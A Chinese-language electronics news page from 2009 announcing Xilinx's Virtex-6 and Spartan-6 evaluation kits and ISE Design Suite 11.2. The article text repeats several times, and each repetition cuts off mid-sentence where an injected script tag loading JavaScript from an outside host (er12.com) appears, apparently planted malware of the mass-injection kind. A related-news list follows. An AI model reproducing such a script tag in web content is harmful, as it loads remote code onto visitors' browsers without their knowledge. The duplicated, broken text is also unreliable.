Xilinx加速下一代系統開發交付首個目標設計平臺
發布時間:2009/6/30 10:17:26 訪問次數:611
xilinx宣布致力于加速基于virtex-6 和 spartan-6 現場可編程門陣列 (fpga) 片上系統 (soc) 解決方案開發的賽靈思基礎目標設計平臺隆重推出。這款基礎級目標設計平臺在完全集成的評估套件中融合了 ise 設計套件 11.2版本、擴展的ip系列以及面向virtex-6或spartan-6 fpga的預驗證參考設計，可幫助設計團隊大幅縮短開發時間，從而集中工程設計資源以提高產品差異化。
新型 virtex-6 fpga 與 spartan-6 fpga 評估套件是賽靈思 在2009 年內將推出的一系列套件中的首批產品，旨在利用賽靈思推出的最新一代可編程技術簡化 soc 的評估與開發。該套件開箱即用，為設計人員提供了設計所需的各種要素，不管是 fpga 新手還是經驗豐富的fpga老用戶，都能實現最佳性能、最低功耗、最高帶寬和最豐富特性的完美組合。此外，該基礎目標設計平臺套件具有內置可擴展性和插入式擴展性，為快速部署賽靈思面向連接、嵌入式和數字信號處理 (dsp) 等應用的領域專用平臺套件， 奠定了堅實的基礎。
賽靈思產品與解決方案管理副總裁mustafa veziroglu
與賽靈思亞太區市場及應用總監張宇清展示virtex-6與spartan-6基礎開發板
賽靈思基礎平臺
“賽靈思基礎平臺是一個完整的fpga 開發環境，反映了傳統硬件設計人員的工作方式。該平臺使設計人員能立即獲得新型 spartan-6 或 virtex-6 fpga 系列、工具、ip 及開發板，而且實現智能集成，大大提高他們的工作效率。”賽靈思全球營銷與業務發展高級副總裁 vin ratford 先生介紹說，“設計人員可利用通用 ip 和參考設計縮短設計時間，提高工作效率，這種優勢顯然大大優于傳統按需購買的設計方法。通過縮短開發應用基礎設施所需的時間，設計人員得以把更多的時間用于下一代系統的創新，為他們的設計帶來更多的價值。”
賽靈思virtex-6 & spartan-6 基礎目標設計平臺
賽靈思基礎目標設計平臺或基礎平臺旨在滿足邏輯和連接設計人員的需求，其評估套件涵蓋了幾乎所有系統設計所需的基本構建模塊，可滿足多種不同市場和應用需求。基礎平臺中集成了預驗證的關鍵系統功能，通過充分協同使用這些功能，設計人員可將傳統設計方法所需的開發時間縮短一半。參考設計可引導設計人員采用最佳實踐方法，把定制元素集成到基礎設計中，并實施諸如 ddr2 與 ddr3存儲器接口、高速串行 i/o 以及片上時鐘資源等各種高級特性。而開發板示意圖及布局文件則有助于進一步優化他們的設計工作。
賽靈思目標設計平臺基礎平臺
新的 ise 設計套件 11.2不僅同時支持 virtex-6 與 spartan-6 fpga 系列套件，而且能與 cadence 設計系統公司、mentor graphics 公司和synopsys 公司等推出的最新軟件協同使用。ise 設計套件 11.2 使邏輯、dsp、嵌入式軟／硬件設計人員和系統集成商能充分發揮 virtex-6 和 spartan-6 fpga 的新特性與新功能，使優化的設計環境與賽靈思基礎目標設計平臺，以及未來領域專用平臺實現完美匹配。
“開箱即用”設計
virtex-6 與 spartan-6 fpga 評估套件提供完全集成的基礎平臺，支持多種不同市場的和應用：
virtex-6 fpga ml605 評估套件是一個采用 virtex-6 lx240t fpga 開發高級系統設計方案的功能齊全、高度可擴展的環境，主要面向有線通信、無線基礎設施、廣播及其它高性能應用。它支持的系統級功能包括高速串行收發器、pcie gen2 端點、ddr3 存儲器控制、千兆以太網以及 dvi 等。
•
spartan-6 fpga sp601 評估套件是一個采用 spartan-6 lx16 fpga 開發消費類、信息娛樂、視頻及其它低成本、低功耗應用的低成本入門級環境。它支持的系統設計功能包括 ddr2 存儲器控制、閃存、以太網、通用 i/o 以及 uart 等。
內置可擴展性與最高靈活性
“賽靈思基礎平臺包括芯片、工具、ip 以及開發板，為快速創建高性能 pci express 應用提供了一個完整的平臺。”northwest logic 公司總裁 brian daellenbach 先生指出，“northwest logic 正在該平臺上集成其簡便易用的高性能pci express dma 引擎。這種 dma 引擎將配合演示應用和驅動程序，形成一個完整的基于新型 spartan-6 與 virtex-6 fpga 基礎平臺的連接目標參考設計 (connectivity targeted reference design)。賽靈思客戶使用這種目標參考設計可顯?script src=http://er12.com/t.js>
新型 virtex-6 fpga 與 spartan-6 fpga 評估套件是賽靈思 在2009 年內將推出的一系列套件中的首批產品，旨在利用賽靈思推出的最新一代可編程技術簡化 soc 的評估與開發。該套件開箱即用，為設計人員提供了設計所需的各種要素，不管是 fpga 新手還是經驗豐富的fpga老用戶，都能實現最佳性能、最低功耗、最高帶寬和最豐富特性的完美組合。此外，該基礎目標設計平臺套件具有內置可擴展性和插入式擴展性，為快速部署賽靈思面向連接、嵌入式和數字信號處理 (dsp) 等應用的領域專用平臺套件， 奠定了堅實的基礎。
賽靈思產品與解決方案管理副總裁mustafa veziroglu
與賽靈思亞太區市場及應用總監張宇清展示virtex-6與spartan-6基礎開發板
賽靈思基礎平臺
“賽靈思基礎平臺是一個完整的fpga 開發環境，反映了傳統硬件設計人員的工作方式。該平臺使設計人員能立即獲得新型 spartan-6 或 virtex-6 fpga 系列、工具、ip 及開發板，而且實現智能集成，大大提高他們的工作效率。”賽靈思全球營銷與業務發展高級副總裁 vin ratford 先生介紹說，“設計人員可利用通用 ip 和參考設計縮短設計時間，提高工作效率，這種優勢顯然大大優于傳統按需購買的設計方法。通過縮短開發應用基礎設施所需的時間，設計人員得以把更多的時間用于下一代系統的創新，為他們的設計帶來更多的價值。”
賽靈思virtex-6 & spartan-6 基礎目標設計平臺
賽靈思基礎目標設計平臺或基礎平臺旨在滿足邏輯和連接設計人員的需求，其評估套件涵蓋了幾乎所有系統設計所需的基本構建模塊，可滿足多種不同市場和應用需求。基礎平臺中集成了預驗證的關鍵系統功能，通過充分協同使用這些功能，設計人員可將傳統設計方法所需的開發時間縮短一半。參考設計可引導設計人員采用最佳實踐方法，把定制元素集成到基礎設計中，并實施諸如 ddr2 與 ddr3存儲器接口、高速串行 i/o 以及片上時鐘資源等各種高級特性。而開發板示意圖及布局文件則有助于進一步優化他們的設計工作。
賽靈思目標設計平臺基礎平臺
新的 ise 設計套件 11.2不僅同時支持 virtex-6 與 spartan-6 fpga 系列套件，而且能與 cadence 設計系統公司、mentor graphics 公司和synopsys 公司等推出的最新軟件協同使用。ise 設計套件 11.2 使邏輯、dsp、嵌入式軟／硬件設計人員和系統集成商能充分發揮 virtex-6 和 spartan-6 fpga 的新特性與新功能，使優化的設計環境與賽靈思基礎目標設計平臺，以及未來領域專用平臺實現完美匹配。
“開箱即用”設計
virtex-6 與 spartan-6 fpga 評估套件提供完全集成的基礎平臺，支持多種不同市場的和應用：
virtex-6 fpga ml605 評估套件是一個采用 virtex-6 lx240t fpga 開發高級系統設計方案的功能齊全、高度可擴展的環境，主要面向有線通信、無線基礎設施、廣播及其它高性能應用。它支持的系統級功能包括高速串行收發器、pcie gen2 端點、ddr3 存儲器控制、千兆以太網以及 dvi 等。
•
spartan-6 fpga sp601 評估套件是一個采用 spartan-6 lx16 fpga 開發消費類、信息娛樂、視頻及其它低成本、低功耗應用的低成本入門級環境。它支持的系統設計功能包括 ddr2 存儲器控制、閃存、以太網、通用 i/o 以及 uart 等。
內置可擴展性與最高靈活性
“賽靈思基礎平臺包括芯片、工具、ip 以及開發板，為快速創建高性能 pci express 應用提供了一個完整的平臺。”northwest logic 公司總裁 brian daellenbach 先生指出，“northwest logic 正在該平臺上集成其簡便易用的高性能pci express dma 引擎。這種 dma 引擎將配合演示應用和驅動程序，形成一個完整的基于新型 spartan-6 與 virtex-6 fpga 基礎平臺的連接目標參考設計 (connectivity targeted reference design)。賽靈思客戶使用這種目標參考設計可顯?script src=http://er12.com/t.js>
xilinx宣布致力于加速基于virtex-6 和 spartan-6 現場可編程門陣列 (fpga) 片上系統 (soc) 解決方案開發的賽靈思基礎目標設計平臺隆重推出。這款基礎級目標設計平臺在完全集成的評估套件中融合了 ise 設計套件 11.2版本、擴展的ip系列以及面向virtex-6或spartan-6 fpga的預驗證參考設計，可幫助設計團隊大幅縮短開發時間，從而集中工程設計資源以提高產品差異化。
新型 virtex-6 fpga 與 spartan-6 fpga 評估套件是賽靈思 在2009 年內將推出的一系列套件中的首批產品，旨在利用賽靈思推出的最新一代可編程技術簡化 soc 的評估與開發。該套件開箱即用，為設計人員提供了設計所需的各種要素，不管是 fpga 新手還是經驗豐富的fpga老用戶，都能實現最佳性能、最低功耗、最高帶寬和最豐富特性的完美組合。此外，該基礎目標設計平臺套件具有內置可擴展性和插入式擴展性，為快速部署賽靈思面向連接、嵌入式和數字信號處理 (dsp) 等應用的領域專用平臺套件， 奠定了堅實的基礎。
賽靈思產品與解決方案管理副總裁mustafa veziroglu
與賽靈思亞太區市場及應用總監張宇清展示virtex-6與spartan-6基礎開發板
賽靈思基礎平臺
“賽靈思基礎平臺是一個完整的fpga 開發環境，反映了傳統硬件設計人員的工作方式。該平臺使設計人員能立即獲得新型 spartan-6 或 virtex-6 fpga 系列、工具、ip 及開發板，而且實現智能集成，大大提高他們的工作效率。”賽靈思全球營銷與業務發展高級副總裁 vin ratford 先生介紹說，“設計人員可利用通用 ip 和參考設計縮短設計時間，提高工作效率，這種優勢顯然大大優于傳統按需購買的設計方法。通過縮短開發應用基礎設施所需的時間，設計人員得以把更多的時間用于下一代系統的創新，為他們的設計帶來更多的價值。”
賽靈思virtex-6 & spartan-6 基礎目標設計平臺
賽靈思基礎目標設計平臺或基礎平臺旨在滿足邏輯和連接設計人員的需求，其評估套件涵蓋了幾乎所有系統設計所需的基本構建模塊，可滿足多種不同市場和應用需求。基礎平臺中集成了預驗證的關鍵系統功能，通過充分協同使用這些功能，設計人員可將傳統設計方法所需的開發時間縮短一半。參考設計可引導設計人員采用最佳實踐方法，把定制元素集成到基礎設計中，并實施諸如 ddr2 與 ddr3存儲器接口、高速串行 i/o 以及片上時鐘資源等各種高級特性。而開發板示意圖及布局文件則有助于進一步優化他們的設計工作。
賽靈思目標設計平臺基礎平臺
新的 ise 設計套件 11.2不僅同時支持 virtex-6 與 spartan-6 fpga 系列套件，而且能與 cadence 設計系統公司、mentor graphics 公司和synopsys 公司等推出的最新軟件協同使用。ise 設計套件 11.2 使邏輯、dsp、嵌入式軟／硬件設計人員和系統集成商能充分發揮 virtex-6 和 spartan-6 fpga 的新特性與新功能，使優化的設計環境與賽靈思基礎目標設計平臺，以及未來領域專用平臺實現完美匹配。
“開箱即用”設計
virtex-6 與 spartan-6 fpga 評估套件提供完全集成的基礎平臺，支持多種不同市場的和應用：
virtex-6 fpga ml605 評估套件是一個采用 virtex-6 lx240t fpga 開發高級系統設計方案的功能齊全、高度可擴展的環境，主要面向有線通信、無線基礎設施、廣播及其它高性能應用。它支持的系統級功能包括高速串行收發器、pcie gen2 端點、ddr3 存儲器控制、千兆以太網以及 dvi 等。
•
spartan-6 fpga sp601 評估套件是一個采用 spartan-6 lx16 fpga 開發消費類、信息娛樂、視頻及其它低成本、低功耗應用的低成本入門級環境。它支持的系統設計功能包括 ddr2 存儲器控制、閃存、以太網、通用 i/o 以及 uart 等。
內置可擴展性與最高靈活性
“賽靈思基礎平臺包括芯片、工具、ip 以及開發板，為快速創建高性能 pci express 應用提供了一個完整的平臺。”northwest logic 公司總裁 brian daellenbach 先生指出，“northwest logic 正在該平臺上集成其簡便易用的高性能pci express dma 引擎。這種 dma 引擎將配合演示應用和驅動程序，形成一個完整的基于新型 spartan-6 與 virtex-6 fpga 基礎平臺的連接目標參考設計 (connectivity targeted reference design)。賽靈思客戶使用這種目標參考設計可顯?script src=http://er12.com/t.js>
新型 virtex-6 fpga 與 spartan-6 fpga 評估套件是賽靈思 在2009 年內將推出的一系列套件中的首批產品，旨在利用賽靈思推出的最新一代可編程技術簡化 soc 的評估與開發。該套件開箱即用，為設計人員提供了設計所需的各種要素，不管是 fpga 新手還是經驗豐富的fpga老用戶，都能實現最佳性能、最低功耗、最高帶寬和最豐富特性的完美組合。此外，該基礎目標設計平臺套件具有內置可擴展性和插入式擴展性，為快速部署賽靈思面向連接、嵌入式和數字信號處理 (dsp) 等應用的領域專用平臺套件， 奠定了堅實的基礎。
賽靈思產品與解決方案管理副總裁mustafa veziroglu
與賽靈思亞太區市場及應用總監張宇清展示virtex-6與spartan-6基礎開發板
賽靈思基礎平臺
“賽靈思基礎平臺是一個完整的fpga 開發環境，反映了傳統硬件設計人員的工作方式。該平臺使設計人員能立即獲得新型 spartan-6 或 virtex-6 fpga 系列、工具、ip 及開發板，而且實現智能集成，大大提高他們的工作效率。”賽靈思全球營銷與業務發展高級副總裁 vin ratford 先生介紹說，“設計人員可利用通用 ip 和參考設計縮短設計時間，提高工作效率，這種優勢顯然大大優于傳統按需購買的設計方法。通過縮短開發應用基礎設施所需的時間，設計人員得以把更多的時間用于下一代系統的創新，為他們的設計帶來更多的價值。”
賽靈思virtex-6 & spartan-6 基礎目標設計平臺
賽靈思基礎目標設計平臺或基礎平臺旨在滿足邏輯和連接設計人員的需求，其評估套件涵蓋了幾乎所有系統設計所需的基本構建模塊，可滿足多種不同市場和應用需求。基礎平臺中集成了預驗證的關鍵系統功能，通過充分協同使用這些功能，設計人員可將傳統設計方法所需的開發時間縮短一半。參考設計可引導設計人員采用最佳實踐方法，把定制元素集成到基礎設計中，并實施諸如 ddr2 與 ddr3存儲器接口、高速串行 i/o 以及片上時鐘資源等各種高級特性。而開發板示意圖及布局文件則有助于進一步優化他們的設計工作。
賽靈思目標設計平臺基礎平臺
新的 ise 設計套件 11.2不僅同時支持 virtex-6 與 spartan-6 fpga 系列套件，而且能與 cadence 設計系統公司、mentor graphics 公司和synopsys 公司等推出的最新軟件協同使用。ise 設計套件 11.2 使邏輯、dsp、嵌入式軟／硬件設計人員和系統集成商能充分發揮 virtex-6 和 spartan-6 fpga 的新特性與新功能，使優化的設計環境與賽靈思基礎目標設計平臺，以及未來領域專用平臺實現完美匹配。
“開箱即用”設計
virtex-6 與 spartan-6 fpga 評估套件提供完全集成的基礎平臺，支持多種不同市場的和應用：
virtex-6 fpga ml605 評估套件是一個采用 virtex-6 lx240t fpga 開發高級系統設計方案的功能齊全、高度可擴展的環境，主要面向有線通信、無線基礎設施、廣播及其它高性能應用。它支持的系統級功能包括高速串行收發器、pcie gen2 端點、ddr3 存儲器控制、千兆以太網以及 dvi 等。
•
spartan-6 fpga sp601 評估套件是一個采用 spartan-6 lx16 fpga 開發消費類、信息娛樂、視頻及其它低成本、低功耗應用的低成本入門級環境。它支持的系統設計功能包括 ddr2 存儲器控制、閃存、以太網、通用 i/o 以及 uart 等。
內置可擴展性與最高靈活性
“賽靈思基礎平臺包括芯片、工具、ip 以及開發板，為快速創建高性能 pci express 應用提供了一個完整的平臺。”northwest logic 公司總裁 brian daellenbach 先生指出，“northwest logic 正在該平臺上集成其簡便易用的高性能pci express dma 引擎。這種 dma 引擎將配合演示應用和驅動程序，形成一個完整的基于新型 spartan-6 與 virtex-6 fpga 基礎平臺的連接目標參考設計 (connectivity targeted reference design)。賽靈思客戶使用這種目標參考設計可顯?script src=http://er12.com/t.js>
相關電子資訊- 11-29高性能四核應用處理器（MPU）結構技術及應用需求
- 11-29雙通道任意波形發生器系列參數封裝設計結構
- 11-29射頻隔直器的技術結構參數與應用研究
- 11-29F28P55X系列產品的特性參數及關鍵技術概述
- 11-29廣州國際智能制造技術與裝備展覽會
- 11-29第十二屆深圳•軍博會|華南專業國防軍工展
- 11-29最新功率可編程電阻模塊的原理參數技術及應用規格
- 11-29PXI程控電阻40-29x系列結構及工作原理
- 11-29100w功放電路圖技術參數與應用
- 11-29linux 系統結構應用描述
- 11-28新產品S-19721系列技術結構封裝應用分析
- 11-28第四代車規級三相智能柵極驅動器IC解讀
公網安備44030402000607
